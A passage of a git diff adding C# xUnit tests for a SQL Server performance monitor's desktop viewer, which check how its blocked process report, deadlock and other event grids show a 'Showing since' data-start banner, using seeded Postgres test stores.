+                update.Parameters.AddWithValue(serverId);
+                update.Parameters.AddWithValue(DateTime.SpecifyKind(addedUtc, DateTimeKind.Unspecified));
+                await update.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.collection_log
+    (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT
+    row_number() OVER () + $6,
+    $1,
+    $2,
+    $5,
+    t,
+    12,
+    'SUCCESS',
+    0
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(addedUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(collector);
+            insert.Parameters.AddWithValue(-(long)serverId * 1000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /* One event every 6 hours from firstUtc to lastUtc, few enough to stay under the grids' caps (200 reports, 50
+           deadlocks), so the earliest row shown is the earliest event. Collected when it happened, or all in one first
+           collection at collectedFirst (the history a server's first collection stores). */
+        private static async Task InsertEventsAsync(
+            NpgsqlConnection connection, Grid grid, int serverId, string serverName, DateTime firstUtc, DateTime lastUtc, DateTime? collectedFirst, CancellationToken ct)
+        {
+            var sql = grid == Grid.BlockedProcessReports
+                ? @"
+INSERT INTO collect.blocked_process_reports
+    (blocked_report_id, collection_time, server_id, server_name, event_time, database_name, blocked_spid, blocking_spid, wait_time_ms)
+SELECT
+    row_number() OVER () + $6,
+    COALESCE($5::timestamp, t),
+    $1,
+    $2,
+    t,
+    'EventDb',
+    55,
+    56,
+    1000
+FROM generate_series($3::timestamp, $4::timestamp, interval '6 hours') AS t"
+                : @"
+INSERT INTO collect.deadlocks
+    (deadlock_id, collection_time, server_id, server_name, deadlock_time, victim_process_id, victim_sql_text, deadlock_graph_xml)
+SELECT
+    row_number() OVER () + $6,
+    COALESCE($5::timestamp, t),
+    $1,
+    $2,
+    t,
+    'process1',
+    'SELECT 1',
+    '<deadlock />'
+FROM generate_series($3::timestamp, $4::timestamp, interval '6 hours') AS t";
+
+            await using var insert = new NpgsqlCommand(sql, connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(serverName);
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstUtc, DateTimeKind.Unspecified));
+            insert.Parameters.AddWithValue(DateTime.SpecifyKind(lastUtc, DateTimeKind.Unspecified));
+            insert.Parameters.Add(new NpgsqlParameter { Value = collectedFirst is DateTime c ? DateTime.SpecifyKind(c, DateTimeKind.Unspecified) : DBNull.Value, NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Timestamp });
+            /* Distinct ids per call: a store keys a row on its id, and two calls for one server share an id range otherwise. */
+            insert.Parameters.AddWithValue(-(long)serverId * 1000L + (collectedFirst is null ? 500L : 0L));
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        public async ValueTask DisposeAsync()
+        {
+            await _viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerEventDataStartTests.cs b/Darling/Darling.Tests/ViewerEventDataStartTests.cs
new file mode 100644
index 0000000000..ec8f84ca6f
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerEventDataStartTests.cs
@@ -0,0 +1,454 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+using PerformanceMonitor.Darling.Storage;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's event grids say where their data starts (#4966). Blocked process reports and deadlocks filter
+/// on the event's own time, and a server's first collection stores the server's event history, so a row can carry an
+/// event time from before the server was added. The notice names the earlier of the collector's coverage start (the
+/// shared <see cref="PerformanceMonitor.Darling.Storage.DataWindowFloor"/> probe) and the earliest event the grid
+/// shows, so it never names a time later than a row on screen.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which the culture pin sets (restored in Dispose); one
+   shared collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerEventDataStartTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    // ── The rule: the earlier of the coverage start and the earliest row shown ──
+
+    [Fact]
+    public void TheNotice_NamesTheCoverageStart_WhenNoEarlierRowIsShown()
+    {
+        var coverage = RangeStart.AddDays(3);
+
+        Assert.Equal(coverage, ViewerEventDataStart.Of(coverage, null));
+        Assert.Equal(coverage, ViewerEventDataStart.Of(coverage, coverage.AddHours(2)));
+    }
+
+    [Fact]
+    public void TheNotice_NamesTheHistoryStart_WhenTheGridShowsEventsFromBeforeTheCoverage()
+    {
+        var coverage = RangeStart.AddDays(3);
+        var history = RangeStart.AddDays(1);
+
+        Assert.Equal(history, ViewerEventDataStart.Of(coverage, history));
+    }
+
+    [Fact]
+    public void ADeadProbe_NamesNothing_WhenTheReadStayedUnderItsCap()
+    {
+        Assert.Null(ViewerEventDataStart.Of(null, RangeStart.AddDays(2), probeFailed: true));
+        Assert.Null(ViewerEventDataStart.Of(null, null, probeFailed: true));
+        /* Whatever coverage the dead probe seems to hold, a failure names nothing. */
+        Assert.Null(ViewerEventDataStart.Of(RangeStart.AddDays(3), RangeStart.AddDays(2), probeFailed: true));
+    }
+
+    /* The range ends before the server's first collection: the probe found no coverage in it, yet the grid lists the history
+       that collection stored. Without coverage to compare, the notice names the earliest event shown. */
+    [Fact]
+    public void AProbeWithNoCoverage_NamesTheEarliestEventShown()
+    {
+        var earliest = RangeStart.AddDays(1);
+
+        Assert.Equal(earliest, ViewerEventDataStart.Of(null, earliest));
+        Assert.Equal(earliest, ViewerEventDataStart.Of(null, earliest, readHitCap: false, probeFailed: false));
+        /* Nothing in the range and nothing shown: an empty grid already says so. */
+        Assert.Null(ViewerEventDataStart.Of(null, null));
+    }
+
+    [Fact]
+    public void TheEarliestShown_SkipsRowsWithoutAnEventTime()
+    {
+        Assert.Null(ViewerEventDataStart.EarliestOf([]));
+        Assert.Null(ViewerEventDataStart.EarliestOf([null, null]));
+        Assert.Equal(RangeStart.AddHours(5), ViewerEventDataStart.EarliestOf([RangeStart.AddHours(9), null, RangeStart.AddHours(5), RangeStart.AddHours(7)]));
+    }
+
+    // ── A read that hit its row cap names its oldest row ──
+
+    /* The grid keeps the newest N rows, so it reaches back no further than the oldest it returned, even where the store
+       covers the whole range. */
+    [Fact]
+    public void AReadThatHitsItsCap_NamesItsOldestRow_WhateverTheStoreCovers()
+    {
+        var oldest = RangeStart.AddDays(3);
+
+        Assert.Equal(oldest, ViewerEventDataStart.Of(RangeStart.AddDays(-20), oldest, readHitCap: true));
+        Assert.Equal(oldest, ViewerEventDataStart.Of(RangeStart, oldest, readHitCap: true));
+        Assert.Equal(oldest, ViewerEventDataStart.Of(oldest.AddDays(2), oldest, readHitCap: true));
+        /* The notice comes from the rows, so a probe with no answer does not hide it. */
+        Assert.Equal(oldest, ViewerEventDataStart.Of(null, oldest, readHitCap: true));
+    }
+
+    [Fact]
+    public void AReadUnderItsCap_KeepsTheResultItHad()
+    {
+        var coverage = RangeStart.AddDays(3);
+
+        Assert.Equal(coverage, ViewerEventDataStart.Of(coverage, coverage.AddHours(2), readHitCap: false));
+        Assert.Equal(RangeStart.AddDays(1), ViewerEventDataStart.Of(coverage, RangeStart.AddDays(1), readHitCap: false));
+        Assert.Null(ViewerEventDataStart.Of(null, RangeStart.AddDays(2), readHitCap: false, probeFailed: true));
+        /* A full page with no dated row has nothing to name, so it falls back to the coverage. */
+        Assert.Equal(coverage, ViewerEventDataStart.Of(coverage, null, readHitCap: true));
+    }
+
+    [Fact]
+    public void TheCapIsHit_WhenTheReadReturnedItsFullPage()
+    {
+        Assert.True(ViewerEventDataStart.ReadHitCap(200, 200));
+        Assert.True(ViewerEventDataStart.ReadHitCap(201, 200));
+        Assert.False(ViewerEventDataStart.ReadHitCap(199, 200));
+        Assert.False(ViewerEventDataStart.ReadHitCap(0, 50));
+        Assert.False(ViewerEventDataStart.ReadHitCap(5000, null));
+    }
+
+    [Fact]
+    public void TheCaps_AreTheLimitsOfTheReads()
+    {
+        Assert.Equal(200, ViewerDataService.BlockedProcessReportsRowCap);
+        Assert.Equal(50, ViewerDataService.DeadlocksRowCap);
+        Assert.Contains($"LIMIT {ViewerDataService.BlockedProcessReportsRowCap}", ViewerDataService.BlockedProcessReportsSql, StringComparison.Ordinal);
+        Assert.Contains($"LIMIT {ViewerDataService.DeadlocksRowCap}", ViewerDataService.RecentDeadlocksSql, StringComparison.Ordinal);
+    }
+
+    /* A full page whose oldest row came 3 days after the range started raises the notice at that row, though the store covers
+       the range (coverage 20 days before it). Under the cap the same rows raise none. */
+    [Fact]
+    public void AReadThatHitsItsCap_RaisesTheNotice_AtItsOldestRow()
+    {
+        Assert.Equal("Showing since 2026-09-04 00:00:00", CappedBannerFor(RangeStart.AddDays(-20), RangeStart.AddDays(3), shownRows: 3, rowCap: 3));
+    }
+
+    [Fact]
+    public void AReadUnderItsCap_RaisesNoNotice_WhenTheStoreCoversTheRange()
+    {
+        Assert.Null(CappedBannerFor(RangeStart.AddDays(-20), RangeStart.AddDays(3), shownRows: 2, rowCap: 3));
+    }
+
+    private static string? CappedBannerFor(DateTime coverageStartUtc, DateTime oldestShownUtc, int shownRows, int rowCap)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+            ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult<DateTime?>(coverageStartUtc), "Deadlocks", RangeStart,
+                Enumerable.Range(0, shownRows).Select(i => (DateTime?)oldestShownUtc.AddHours(6 * i)), rowCap).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    // ── What the banner shows ──
+
+    /* Rows start inside the range and the history is none: the notice reads back the coverage start. */
+    [Fact]
+    public void RowsThatStartInsideTheRange_RaiseTheNotice_AtTheCoverageStart()
+    {
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(RangeStart.AddDays(3), RangeStart.AddDays(3).AddHours(6)));
+    }
+
+    /* History that reaches before the coverage start gives a notice at the history's start, not at the later coverage. */
+    [Fact]
+    public void HistoryThatReachesBeforeTheCoverage_RaisesTheNotice_AtTheHistorysStart()
+    {
+        Assert.Equal("Showing since 2026-09-02 00:00:00", BannerFor(RangeStart.AddDays(3), RangeStart.AddDays(1)));
+    }
+
+    /* History that reaches the range start gives no notice, though the coverage starts days later. */
+    [Fact]
+    public void HistoryThatReachesTheRangeStart_RaisesNoNotice()
+    {
+        Assert.Null(BannerFor(RangeStart.AddDays(3), RangeStart.AddMinutes(30)));
+        Assert.Null(BannerFor(RangeStart.AddDays(3), RangeStart));
+    }
+
+    /* A quiet start: the store covered the whole range (coverage at or before its start), but the first event comes late. */
+    [Fact]
+    public void AQuietStart_RaisesNoNotice()
+    {
+        Assert.Null(BannerFor(RangeStart.AddDays(-20), RangeStart.AddHours(5)));
+        Assert.Null(BannerFor(RangeStart, RangeStart.AddHours(5)));
+    }
+
+    /* A probe that throws is hidden, not guessed: the grid's own first row must not stand in for the coverage. */
+    [Fact]
+    public void AProbeThatThrows_RaisesNoNotice_AndIsLogged()
+    {
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "Showing since 2026-09-04 00:00:00" };
+
+            ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromException<DateTime?>(new InvalidOperationException("the store went away")), "Deadlocks", RangeStart,
+                [RangeStart.AddDays(2)]).GetAwaiter().GetResult();
+
+            Assert.Equal(Visibility.Collapsed, banner.Visibility);
+        });
+    }
+
+    /* A server first collected on the range's last day, with events back to a day into the range: the range ends before the
+       first collection, so the probe finds no coverage in it, and the grid still lists the history that collection stored.
+       The grid starts a day late, and the notice says where. */
+    [Fact]
+    public void ARangeThatEndsBeforeTheFirstCollection_RaisesTheNotice_AtTheEarliestEventShown()
+    {
+        Assert.Equal(
+            "Showing since 2026-09-02 00:00:00",
+            BannerOf(Task.FromResult<DateTime?>(null), RangeStart, [RangeStart.AddDays(2), RangeStart.AddDays(1)]));
+    }
+
+    [Fact]
+    public void ARangeThatEndsBeforeTheFirstCollection_RaisesNoNotice_WhenTheHistoryReachesTheRangeStart()
+    {
+        Assert.Null(BannerOf(Task.FromResult<DateTime?>(null), RangeStart, [RangeStart.AddMinutes(30), RangeStart.AddDays(2)]));
+        Assert.Null(BannerOf(Task.FromResult<DateTime?>(null), RangeStart, [RangeStart]));
+        /* Nothing in the range and nothing shown: an empty grid already says so. */
+        Assert.Null(BannerOf(Task.FromResult<DateTime?>(null), RangeStart, []));
+    }
+
+    /* No coverage and a failed probe are different answers: the first names the history, the second names nothing. */
+    [Fact]
+    public void AProbeThatFoundNoCoverage_RaisesTheNotice_WhereAProbeThatThrowsStaysHidden()
+    {
+        DateTime?[] shown = [RangeStart.AddDays(1)];
+
+        Assert.Equal("Showing since 2026-09-02 00:00:00", BannerOf(Task.FromResult<DateTime?>(null), RangeStart, shown));
+        Assert.Null(BannerOf(Task.FromException<DateTime?>(new InvalidOperationException("the store went away")), RangeStart, shown));
+    }
+
+    // ── A grid merged from several reads: one of them filled its own cap ──
+
+    /* The merge drops the rows another read already holds and the rows that repeat a pair within a minute, so a read that
+       stopped at its LIMIT can leave the merged list under the grid's cap. */
+    [Fact]
+    public void ACappedSource_NamesItsOldestRow_WhenTheMergedListStaysUnderTheCap()
+    {
+        var oldest = RangeStart.AddDays(3);
+        DateTime?[] capped = [oldest.AddHours(2), oldest.AddHours(1), oldest];
+        DateTime?[] under = [RangeStart.AddDays(1)];
+
+        Assert.Equal(oldest, ViewerEventDataStart.CappedSourceStart(3, under, capped));
+        Assert.Equal(oldest, ViewerEventDataStart.CappedSourceStart(3, capped, under));
+        Assert.Null(ViewerEventDataStart.CappedSourceStart(4, under, capped));
+        Assert.Null(ViewerEventDataStart.CappedSourceStart(3, under, Array.Empty<DateTime?>()));
+    }
+
+    [Fact]
+    public void WhenBothSourcesFillTheirCap_TheLaterOldestRowBoundsTheGrid()
+    {
+        DateTime?[] xe = [RangeStart.AddDays(6), RangeStart.AddDays(5)];
+        DateTime?[] dmv = [RangeStart.AddDays(4), RangeStart.AddDays(2)];
+
+        Assert.Equal(RangeStart.AddDays(5), ViewerEventDataStart.CappedSourceStart(2, xe, dmv));
+        /* A row with no event time names nothing, and does not count as the oldest. */
+        Assert.Equal(RangeStart.AddDays(2), ViewerEventDataStart.CappedSourceStart(2, new DateTime?[] { null, RangeStart.AddDays(2) }));
+        Assert.Null(ViewerEventDataStart.CappedSourceStart(2, new DateTime?[] { null, null }));
+    }
+
+    [Fact]
+    public void ACappedSource_BoundsTheNotice_WhateverTheStoreCovers()
+    {
+        var oldest = RangeStart.AddDays(3);
+
+        Assert.Equal(oldest, ViewerEventDataStart.Of(RangeStart.AddDays(-20), RangeStart.AddDays(1), cappedSourceOldestUtc: oldest));
+        /* It comes from the rows, so a probe with no answer, or a dead one, does not hide it. */
+        Assert.Equal(oldest, ViewerEventDataStart.Of(null, RangeStart.AddDays(1), cappedSourceOldestUtc: oldest));
+        Assert.Equal(oldest, ViewerEventDataStart.Of(null, RangeStart.AddDays(1), probeFailed: true, cappedSourceOldestUtc: oldest));
+        /* Beside a merged list that also filled its cap, the later of the two oldest rows is where the grid is complete from. */
+        Assert.Equal(oldest, ViewerEventDataStart.Of(null, RangeStart.AddDays(2), readHitCap: true, cappedSourceOldestUtc: oldest));
+        Assert.Equal(oldest.AddDays(1), ViewerEventDataStart.Of(null, oldest.AddDays(1), readHitCap: true, cappedSourceOldestUtc: oldest));
+        /* No capped source: the rule it had. */
+        Assert.Equal(RangeStart.AddDays(-20), ViewerEventDataStart.Of(RangeStart.AddDays(-20), RangeStart.AddDays(1), cappedSourceOldestUtc: null));
+    }
+
+    /* Two rows are under the cap of 3, so the merged list names nothing; the DMV read behind it filled its cap 3 days in. */
+    [Fact]
+    public void ACappedSource_RaisesTheNotice_AtItsOldestRow_WhereTheMergedListStaysUnderTheCap()
+    {
+        var oldest = RangeStart.AddDays(3);
+        var covered = Task.FromResult<DateTime?>(RangeStart.AddDays(-20));
+        DateTime?[] shown = [RangeStart.AddDays(1), oldest];
+
+        Assert.Null(BannerOf(covered, RangeStart, shown, rowCap: 3));
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerOf(covered, RangeStart, shown, rowCap: 3, cappedSourceOldestUtc: oldest));
+    }
+
+    /* A capped read dropped rows for certain, so its verdict has no slack, as the merged list's own cap has none. */
+    [Fact]
+    public void ACappedSource_GetsNoSlack_OnARangeOfAnHourOrLess()
+    {
+        var oldest = RangeStart.AddMinutes(30);
+
+        Assert.Equal(
+            "Showing since 2026-09-01 00:30:00",
+            BannerOf(Task.FromResult<DateTime?>(null), RangeStart, [oldest], rowCap: 3, cappedSourceOldestUtc: oldest));
+    }
+
+    /* The banner raised for any probe answer, through the shared function; null when it is hidden. */
+    private static string? BannerOf(
+        Task<DateTime?> probe, DateTime startUtc, IEnumerable<DateTime?> shownUtc, int? rowCap = null, DateTime? cappedSourceOldestUtc = null)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            /* Seeded visible, so a no-op cannot pass as a hidden banner. */
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+            ViewerServerTab.ShowEventDataStartAsync(banner, probe, "Deadlocks", startUtc, shownUtc, rowCap, cappedSourceOldestUtc).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    /* The banner raised for the probe's answer and the grid's earliest row, read off the control; null when it is hidden. */
+    private static string? BannerFor(DateTime coverageStartUtc, DateTime earliestShownUtc)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            /* Seeded visible, so a no-op cannot pass as a hidden banner. */
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+            ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult<DateTime?>(coverageStartUtc), "Blocked Process Reports", RangeStart,
+                [earliestShownUtc.AddDays(2), earliestShownUtc]).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    // ── Every read path of the two grids asks the probe ──
+
+    private static string TabSources() =>
+        string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+
+    [Fact]
+    public void BlockedProcessReports_AsksAboutTheWindowItDraws_OnTheRangeLoad_AndOnTheSlicerDrag()
+    {
+        var tab = ViewerFile("ViewerServerTab.Blocking.cs");
+
+        var load = MethodBody(tab, @"private async Task LoadBlockedProcessReportsAsync\(");
+        Assert.Equal(1, Matches(load, @"var dataStartTask = _dataService\.GetBlockedProcessReportsDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load,
+            @"await ShowEventDataStartAsync\(BlockedProcessReportsTruncationBanner,\s*dataStartTask,\s*""Blocked Process Reports"",\s*startUtc,\s*rows\.Select\(r => r\.EventTime\),\s*ViewerDataService\.BlockedProcessReportsRowCap,\s*read\.CappedSourceStartUtc\);"));
+
+        var drag = MethodBody(tab, @"private async void OnBlockingSlicerChanged\(");
+        Assert.Equal(1, Matches(drag, @"var dataStartTask = _dataService\.GetBlockedProcessReportsDataStartAsync\(_server\.ServerId,\s*e\.StartUtc,\s*e\.EndUtc\);"));
+        Assert.Equal(1, Matches(drag,
+            @"await ShowEventDataStartAsync\(BlockedProcessReportsTruncationBanner,\s*dataStartTask,\s*""Blocked Process Reports"",\s*e\.StartUtc,\s*rows\.Select\(r => r\.EventTime\),\s*ViewerDataService\.BlockedProcessReportsRowCap,\s*read\.CappedSourceStartUtc\);"));
+    }
+
+    [Fact]
+    public void Deadlocks_AsksAboutTheWindowItDraws_OnTheRangeLoad_AndOnTheSlicerDrag()
+    {
+        var tab = ViewerFile("ViewerServerTab.Blocking.cs");
+
+        var load = MethodBody(tab, @"private async Task LoadDeadlocksAsync\(");
+        Assert.Equal(1, Matches(load, @"var dataStartTask = _dataService\.GetDeadlocksDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        Assert.Equal(1, Matches(load,
+            @"await ShowEventDataStartAsync\(DeadlocksTruncationBanner,\s*dataStartTask,\s*""Deadlocks"",\s*startUtc,\s*rows\.Select\(r => r\.DeadlockTime\),\s*ViewerDataService\.DeadlocksRowCap\);"));
+
+        var drag = MethodBody(tab, @"private async void OnDeadlockSlicerChanged\(");
+        Assert.Equal(1, Matches(drag, @"var dataStartTask = _dataService\.GetDeadlocksDataStartAsync\(_server\.ServerId,\s*e\.StartUtc,\s*e\.EndUtc\);"));
+        Assert.Equal(1, Matches(drag,
+            @"await ShowEventDataStartAsync\(DeadlocksTruncationBanner,\s*dataStartTask,\s*""Deadlocks"",\s*e\.StartUtc,\s*rows\.Select\(r => r\.DeadlockTime\),\s*ViewerDataService\.DeadlocksRowCap\);"));
+    }
+
+    /* A census over every server-tab file: each read of either grid's rows is paired with its probe, so a third read path
+       added later without one fails here instead of shipping with a stale banner. */
+    [Fact]
+    public void EveryTabRead_OfTheTwoGrids_HasItsProbe()
+    {
+        var tabs = TabSources();
+
+        /* The blocked process reports read goes through the call that also reports a source read that filled its cap. */
+        Assert.Equal(2, Matches(tabs, @"_dataService\.ReadRecentBlockedProcessReportsAsync\("));
+        Assert.Equal(0, Matches(tabs, @"_dataService\.GetRecentBlockedProcessReportsAsync\("));
+        /* The grid's own probe: its tab load and its slicer drag, and nothing else. */
+        Assert.Equal(2, Matches(tabs, @"_dataService\.GetBlockedProcessReportsDataStartAsync\("));
+        /* The charts' probe: one each for the Trends and the Stats cases of LoadBlockingAsync (the charts' own notes). */
+        Assert.Equal(2, Matches(tabs, @"_dataService\.GetBlockingChartDataStartAsync\("));
+        Assert.Equal(2, Matches(tabs, @"_dataService\.GetRecentDeadlocksAsync\("));
+        Assert.Equal(4, Matches(tabs, @"_dataService\.GetDeadlocksDataStartAsync\("));
+
+        /* No probe is awaited bare: a probe that throws costs its banner and nothing after it. */
+        Assert.DoesNotContain("await dataStartTask", ViewerFile("ViewerServerTab.Blocking.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBanners_SitAboveTheirGrids_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        foreach (var name in new[] { "BlockedProcessReportsTruncationBanner", "DeadlocksTruncationBanner" })
+        {
+            var banner = Regex.Match(xaml, @"<TextBlock x:Name=""" + name + @"""[^>]*/>");
+            Assert.True(banner.Success, name + " is not declared in ViewerServerTab.xaml");
+            Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+            Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheProbes_GoThroughTheSharedFloor_OverTheCollectorTheGridIsNamedFor()
+    {
+        var blocking = ViewerFile("ViewerDataService.Blocking.cs");
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"blocked_process_reports\")", blocking, StringComparison.Ordinal);
+        /* The always-on DMV snapshots stand in for the XE collector, so the coverage is read from both. */
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"dmv_blocking_snapshots\")", blocking, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.GetForServerAsync(", blocking, StringComparison.Ordinal);
+
+        var deadlock = ViewerFile("ViewerDataService.Deadlock.cs");
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"deadlocks\")", deadlock, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.GetForServerAsync(", deadlock, StringComparison.Ordinal);
+    }
+
+    /* WPF objects require STA; same shape as ViewerDataStartBannerTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerEventGridsDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerEventGridsDataStartLiveTests.cs
new file mode 100644
index 0000000000..345f571d7e
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerEventGridsDataStartLiveTests.cs
@@ -0,0 +1,538 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's System Events, Default Trace and Long Queries grids against a real store (#4966). The first two window
+/// on the event's own time, Long Queries on the collection time while showing the event's, and a server's first collection
+/// stores the server's event history, so the notice names the earlier of the collector's coverage start and the earliest
+/// event the grid shows. Four stores per grid, each read through the same two
+/// calls the server tab makes (the grid's rows, the data-start probe) and then the tab's own banner step
+/// (<see cref="ViewerServerTab.ShowEventDataStartAsync"/>) on a real banner control, with the row cap the tab passes; each case
+/// reads what the banner says. Default Trace stores the server's own clock: every server here runs 5 hours behind UTC, so a
+/// notice that skipped the per-row conversion would name the history's start 5 hours early.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The banner's time text reads the process-wide
+   display mode, which QueryGridSeed.ReadBanner sets and restores; the viewer-time-statics collection serializes that with every
+   other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerSystemEventsDataStartLiveTests
+{
+    public enum Grid
+    {
+        SystemEvents,
+        DefaultTrace,
+        LongQueries,
+    }
+
+    /// <summary>The server's clock: 5 hours behind UTC, as a server in the US Central daylight zone reports.</summary>
+    private const int ClockOffsetMinutes = -300;
+
+    private const int NewServerId = -496611;
+    private const int QuietServerId = -496612;
+    private const int HistoryServerId = -496613;
+    private const int DeepHistoryServerId = -496614;
+
+    /* Rows start inside the range: the server was added 2 days ago, and its first event came a day later. The notice reads
+       back the coverage start, the day the server was added. */
+    [Theory]
+    [InlineData(Grid.SystemEvents)]
+    [InlineData(Grid.DefaultTrace)]
+    [InlineData(Grid.LongQueries)]
+    public async Task RowsThatStartInsideTheRange_GiveANotice_AtTheCoverageStart_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(grid, ct);
+
+        var banner = await store.BannerAsync(grid, NewServerId, ct);
+
+        Assert.Equal(QueryGridSeed.Since(store.End.AddDays(-2)), banner);
+    }
+
+    /* A quiet start: monitored for months, and the store covered the whole range, but the first event of the range came 5
+       hours in. No notice. */
+    [Theory]
+    [InlineData(Grid.SystemEvents)]
+    [InlineData(Grid.DefaultTrace)]
+    [InlineData(Grid.LongQueries)]
+    public async Task AQuietStart_GivesNoNotice_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(grid, ct);
+
+        var coverage = await store.CoverageAsync(grid, QuietServerId, ct);
+        var banner = await store.BannerAsync(grid, QuietServerId, ct);
+
+        Assert.NotNull(coverage);
+        Assert.Null(banner);
+    }
+
+    /* History that reaches before the coverage start: the server was added 2 days ago, and its first collection stored
+       events from 5 days ago. The notice names the history's start, not the later day the server was added. For Default
+       Trace the events are stored on the server's clock, 5 hours behind: the notice is the same instant in UTC. */
+    [Theory]
+    [InlineData(Grid.SystemEvents)]
+    [InlineData(Grid.DefaultTrace)]
+    [InlineData(Grid.LongQueries)]
+    public async Task HistoryThatReachesBeforeTheCoverage_GivesANotice_AtTheHistorysStart_AgainstDevPostgres(Grid grid)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(grid, ct);
+
+        var coverage = await store.CoverageAsync(grid, HistoryServerId, ct);
+        var banner = await store.BannerAsync(grid, HistoryServerId, ct);
+
